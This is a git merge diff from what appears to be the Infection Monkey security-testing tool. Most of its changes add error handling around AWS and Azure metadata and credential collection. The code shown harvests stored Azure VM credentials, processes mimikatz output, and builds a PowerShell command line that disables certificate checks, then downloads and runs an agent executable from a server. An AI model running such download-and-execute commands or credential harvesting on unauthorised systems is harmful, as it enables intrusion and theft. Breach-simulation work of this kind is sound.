Merge remote-tracking branch 'upstream/develop' into 393/python-3

# Conflicts:
#	monkey/common/cloud/aws_instance.py
This commit is contained in:
VakarisZ 2019-10-14 15:47:50 +03:00
commit 341d905f1e
7 changed files with 88 additions and 36 deletions

View File

@ -30,14 +30,14 @@ class AwsInstance(object):
AWS_LATEST_METADATA_URI_PREFIX + 'meta-data/instance-id', timeout=2).read()
self.region = self._parse_region(
urllib.request.urlopen(AWS_LATEST_METADATA_URI_PREFIX + 'meta-data/placement/availability-zone').read())
except urllib.error.URLError as e:
logger.debug("Failed init of AwsInstance while getting metadata: {}".format(e))
except (urllib.error.URLError, IOError) as e:
logger.debug("Failed init of AwsInstance while getting metadata: {}".format(e), exc_info=True)
try:
self.account_id = self._extract_account_id(
urllib.request.urlopen(
AWS_LATEST_METADATA_URI_PREFIX + 'dynamic/instance-identity/document', timeout=2).read())
except urllib.error.URLError as e:
except (urllib.error.URLError, IOError) as e:
logger.debug("Failed init of AwsInstance while getting dynamic instance data: {}".format(e))
@staticmethod

View File

@ -113,7 +113,7 @@ class InfoCollector(object):
:return: None. Updates class information
"""
LOG.debug("Reading subnets")
self.info['network_info'] =\
self.info['network_info'] = \
{
'networks': get_host_subnets(),
'netstat': NetstatCollector.get_netstat_info()
@ -122,28 +122,38 @@ class InfoCollector(object):
def get_azure_info(self):
"""
Adds credentials possibly stolen from an Azure VM instance (if we're on one)
Updates the credentials structure, creating it if neccesary (compat with mimikatz)
Updates the credentials structure, creating it if necessary (compat with mimikatz)
:return: None. Updates class information
"""
from infection_monkey.config import WormConfiguration
if not WormConfiguration.extract_azure_creds:
return
LOG.debug("Harvesting creds if on an Azure machine")
azure_collector = AzureCollector()
if 'credentials' not in self.info:
self.info["credentials"] = {}
azure_creds = azure_collector.extract_stored_credentials()
for cred in azure_creds:
username = cred[0]
password = cred[1]
if username not in self.info["credentials"]:
self.info["credentials"][username] = {}
# we might be losing passwords in case of multiple reset attempts on same username
# or in case another collector already filled in a password for this user
self.info["credentials"][username]['password'] = password
if len(azure_creds) != 0:
self.info["Azure"] = {}
self.info["Azure"]['usernames'] = [cred[0] for cred in azure_creds]
# noinspection PyBroadException
try:
from infection_monkey.config import WormConfiguration
if not WormConfiguration.extract_azure_creds:
return
LOG.debug("Harvesting creds if on an Azure machine")
azure_collector = AzureCollector()
if 'credentials' not in self.info:
self.info["credentials"] = {}
azure_creds = azure_collector.extract_stored_credentials()
for cred in azure_creds:
username = cred[0]
password = cred[1]
if username not in self.info["credentials"]:
self.info["credentials"][username] = {}
# we might be losing passwords in case of multiple reset attempts on same username
# or in case another collector already filled in a password for this user
self.info["credentials"][username]['password'] = password
if len(azure_creds) != 0:
self.info["Azure"] = {}
self.info["Azure"]['usernames'] = [cred[0] for cred in azure_creds]
except Exception:
# If we failed to collect azure info, no reason to fail all the collection. Log and continue.
LOG.error("Failed collecting Azure info.", exc_info=True)
def get_aws_info(self):
self.info['aws'] = AwsCollector().get_aws_info()
# noinspection PyBroadException
try:
self.info['aws'] = AwsCollector().get_aws_info()
except Exception:
# If we failed to collect aws info, no reason to fail all the collection. Log and continue.
LOG.error("Failed collecting AWS info.", exc_info=True)

View File

@ -9,6 +9,7 @@ __author__ = 'itay.mizeretz'
class AwsEnvironment(Environment):
def __init__(self):
super(AwsEnvironment, self).__init__()
# Not suppressing error here on purpose. This is critical if we're on AWS env.
self.aws_info = AwsInstance()
self._instance_id = self._get_instance_id()
self.region = self._get_region()

View File

@ -1,3 +1,5 @@
import logging
from monkey_island.cc.services.config import ConfigService
from common.cloud.aws_instance import AwsInstance
from common.cloud.aws_service import AwsService
@ -7,6 +9,8 @@ from common.cmd.cmd_runner import CmdRunner
__author__ = "itay.mizeretz"
logger = logging.getLogger(__name__)
class RemoteRunAwsService:
aws_instance = None
@ -23,7 +27,15 @@ class RemoteRunAwsService:
:return: None
"""
if RemoteRunAwsService.aws_instance is None:
RemoteRunAwsService.try_init_aws_instance()
@staticmethod
def try_init_aws_instance():
# noinspection PyBroadException
try:
RemoteRunAwsService.aws_instance = AwsInstance()
except Exception:
logger.error("Failed init aws instance. Exception info: ", exc_info=True)
@staticmethod
def run_aws_monkeys(instances, island_ip):
@ -119,7 +131,7 @@ class RemoteRunAwsService:
return r"[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {" \
r"$true}; (New-Object System.Net.WebClient).DownloadFile('https://" + island_ip + \
r":5000/api/monkey/download/monkey-windows-" + bit_text + r".exe','.\\monkey.exe'); " \
r";Start-Process -FilePath '.\\monkey.exe' -ArgumentList 'm0nk3y -s " + island_ip + r":5000'; "
r";Start-Process -FilePath '.\\monkey.exe' -ArgumentList 'm0nk3y -s " + island_ip + r":5000'; "
@staticmethod
def _get_run_monkey_cmd_line(is_linux, is_64bit, island_ip):

View File

@ -24,6 +24,7 @@ class AWSExporter(Exporter):
logger.info('No issues were found by the monkey, no need to send anything')
return True
# Not suppressing error here on purpose.
current_aws_region = AwsInstance().get_region()
for machine in issues_list:
@ -70,6 +71,7 @@ class AWSExporter(Exporter):
configured_product_arn = load_server_configuration_from_file()['aws'].get('sec_hub_product_arn', '')
product_arn = 'arn:aws:securityhub:{region}:{arn}'.format(region=region, arn=configured_product_arn)
instance_arn = 'arn:aws:ec2:' + str(region) + ':instance:{instance_id}'
# Not suppressing error here on purpose.
account_id = AwsInstance().get_account_id()
logger.debug("aws account id acquired: {}".format(account_id))

View File

@ -9,11 +9,18 @@ logger = logging.getLogger(__name__)
def populate_exporter_list():
manager = ReportExporterManager()
RemoteRunAwsService.init()
if RemoteRunAwsService.is_running_on_aws() and ('aws' == env.get_deployment()):
manager.add_exporter_to_list(AWSExporter)
try_add_aws_exporter_to_manager(manager)
if len(manager.get_exporters_list()) != 0:
logger.debug(
"Populated exporters list with the following exporters: {0}".format(str(manager.get_exporters_list())))
def try_add_aws_exporter_to_manager(manager):
# noinspection PyBroadException
try:
RemoteRunAwsService.init()
if RemoteRunAwsService.is_running_on_aws() and ('aws' == env.get_deployment()):
manager.add_exporter_to_list(AWSExporter)
except Exception:
logger.error("Failed adding aws exporter to manager. Exception info:", exc_info=True)

View File

@ -1,3 +1,5 @@
import logging
from monkey_island.cc.database import mongo
from monkey_island.cc.models import Monkey
from monkey_island.cc.services import mimikatz_utils
@ -7,14 +9,32 @@ from monkey_island.cc.services.telemetry.zero_trust_tests.antivirus_existence im
from monkey_island.cc.services.wmi_handler import WMIHandler
from monkey_island.cc.encryptor import encryptor
logger = logging.getLogger(__name__)
def process_system_info_telemetry(telemetry_json):
process_ssh_info(telemetry_json)
process_credential_info(telemetry_json)
process_mimikatz_and_wmi_info(telemetry_json)
process_aws_data(telemetry_json)
update_db_with_new_hostname(telemetry_json)
test_antivirus_existence(telemetry_json)
telemetry_processing_stages = [
process_ssh_info,
process_credential_info,
process_mimikatz_and_wmi_info,
process_aws_data,
update_db_with_new_hostname,
test_antivirus_existence,
]
# Calling safe_process_telemetry so if one of the stages fail, we log and move on instead of failing the rest of
# them, as they are independent.
for stage in telemetry_processing_stages:
safe_process_telemetry(stage, telemetry_json)
def safe_process_telemetry(processing_function, telemetry_json):
# noinspection PyBroadException
try:
processing_function(telemetry_json)
except Exception as err:
logger.error("Error while in {} stage of processing telemetry.".format(processing_function.func_name),
exc_info=True)
def process_ssh_info(telemetry_json):
@ -102,4 +122,4 @@ def process_aws_data(telemetry_json):
def update_db_with_new_hostname(telemetry_json):
Monkey.get_single_monkey_by_id(telemetry_json['_id']).set_hostname(telemetry_json['data']['hostname'])
Monkey.get_single_monkey_by_guid(telemetry_json['monkey_guid']).set_hostname(telemetry_json['data']['hostname'])